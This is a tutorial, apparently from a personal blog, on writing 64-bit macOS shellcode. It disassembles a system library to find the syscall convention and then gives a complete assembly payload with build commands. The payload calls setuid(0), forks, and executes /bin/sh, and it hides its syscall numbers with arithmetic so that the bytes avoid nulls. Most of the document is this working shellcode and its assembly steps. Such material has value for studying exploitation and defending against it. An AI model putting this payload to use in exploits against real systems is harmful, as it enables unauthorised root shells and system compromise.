OSX Shellcode writing tutorial (64 bits)

In the previous post we learned to make a 32-bit shellcode. In this post we will make the 64 bits version.
We imagine that the 64-bit parameters are as in FreeBSD and they are using syscall. So far so good... Let's go!

This is our famous "hello girls", but this time are a little different, and the string fit in one record ;-)

      section .text
              global _start

      _start:
              mov     rax, 4
              mov     rdi, 1
              mov     rsi, 0x707574696c6c610a
              mov     rdx, 8
              syscall
              mov     rax, 1
              xor         rdi, rdi
              syscall

      Mustang:64 capi_x$ yasm -f macho64 hello.s -o hello64.o
      Mustang:64 capi_x$ ld -static -arch x86_64 -e _start hello64.o -o hello64
      Mustang:64 capi_x$ ./hello64

      Bus error

Wow... so pretty... :) Well then, step by step.

We created a similar C file, compile and disassemble it.

      int main() {
              write(1,"Hola OSX\n",9);
      }

The disassembly shows the following:

      0000000100000f04        pushq   %rbp
      0000000100000f05        movq    %rsp,%rbp
      0000000100000f08        movl    $0x00000009,%edx
      0000000100000f0d        leaq    0x00000042(%rip),%rsi
      0000000100000f14        movl    $0x00000001,%edi
      0000000100000f19        movl    $0x00000000,%eax
      0000000100000f1e        callq   0x00000f2c
      0000000100000f23        leave
      0000000100000f24        ret

Apparently is using a dynamic library. If we disassemble it maybe we can see how make the syscalls :-P

      Mustang:64 capi_x$ otool -L hello
      hello:
      /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.1)

Ok, now disassemble the _write routine from the dynamic library.

      Mustang:64 capi_x$ otool -p _write -t -v -V /usr/lib/libSystem.B.dylib | head -6 | tail -3
      00000000000137c8        movl    $0x02000004,%eax
      00000000000137cd        movq    %rcx,%r10
      00000000000137d0        syscall

As can be seen, the syscall is performed differently than 32bit.

Thus, I built the following shellcode :-)

      BITS 64

      section .data
              msg     dd      '0wn3d'

      section .text
              global _start

      _start:
              mov  eax, 0xfa8888a0
              add  eax, 0x07777777
              ;mov  eax, 0x2000017
              xor  rdi, rdi
              syscall    ; setuid(0)
              mov  eax, 0xfa88888b
              add  eax, 0x07777777
              ;mov  eax, 0x2000002
              syscall    ; fork(0)
              mov  eax, 0xfa888a19
              add  eax, 0x07777777
              ;mov  eax, 0x2000190
              xor  rdx, rdx
              xor  rsi, rsi
              syscall     ; wait4(0)
              mov  eax, 0xfa8888c4
              add  eax, 0x07777777
              ;mov  eax, 0x200003b
              mov  rdi, 0x68732f2f6e69622f
              push rsi
              push rdi
              mov  rdi, rsp
              syscall    ; execve()

(Incidentally, the data section is very curious, one of these days I explain)

To compile it, you can also use "yasm" as follows:

      yasm -f macho64 forkexecve64.s -o forkexecve64.o
      ld -e _start -arch x86_64 -static forkexecve64.o -o forkexecve64

Happy Hacking!
–
“No user serviceable parts included.”